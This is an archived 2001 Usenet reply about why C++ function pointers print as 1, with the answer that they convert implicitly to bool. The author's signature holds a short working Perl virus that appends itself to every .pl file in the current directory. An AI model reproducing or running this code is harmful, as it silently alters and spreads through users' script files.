From:	rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null)
Newsgroups:	comp.os.msdos.djgpp
Subject:	Re: Printing function pointers
References:	<3AE082F7 DOT B4E9C05 AT jps DOT net>
X-newsgroup:	comp.os.msdos.djgpp
X-realname:	Dennis Yelle
X-Ringtones:	http://ringtones AT durchnull DOT de
X-Original:	no
Message-ID:	<slrn9e1705.rif.rpolzer@www42.t-offline.de>
User-Agent:	slrn/0.9.6.3 (Linux)
Date:	Fri, 20 Apr 2001 22:28:53 +0200
Lines:	39
NNTP-Posting-Host:	213.7.26.11
X-Trace:	987798228 news.freenet.de 26221 213.7.26.11
X-Complaints-To:	abuse AT freenet DOT de
To:	djgpp AT delorie DOT com
DJ-Gateway:	from newsgroup comp.os.msdos.djgpp
Reply-To:	djgpp AT delorie DOT com

Dennis Yelle <dennis51 AT jps DOT net> wrote:
> I was surprised by the output from this program:
> ---------------------
> #include <iostream>
> 
> int junk1() { return 111; }
> 
> int junk2() { return 222; }
> 
> int main()
> {
>   if ( junk1 != junk2 ) {
>     cout << "different\n";
>   }
>   cout << junk1 << '\n';
>   cout << junk2 << '\n';
>   return 0;
> }
> ----------------------
> 
> I got this:
> ----------------
> different
> 1
> 1
> ---------------
> 
> So, the function pointers are different, but
> they both print as 1.  Is this expected, and desired
> behavior?  Or is it a bug?

They are implicitly converted to bool, but do not ask me why. Or is 
there a conversion chain function->bool->int?

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -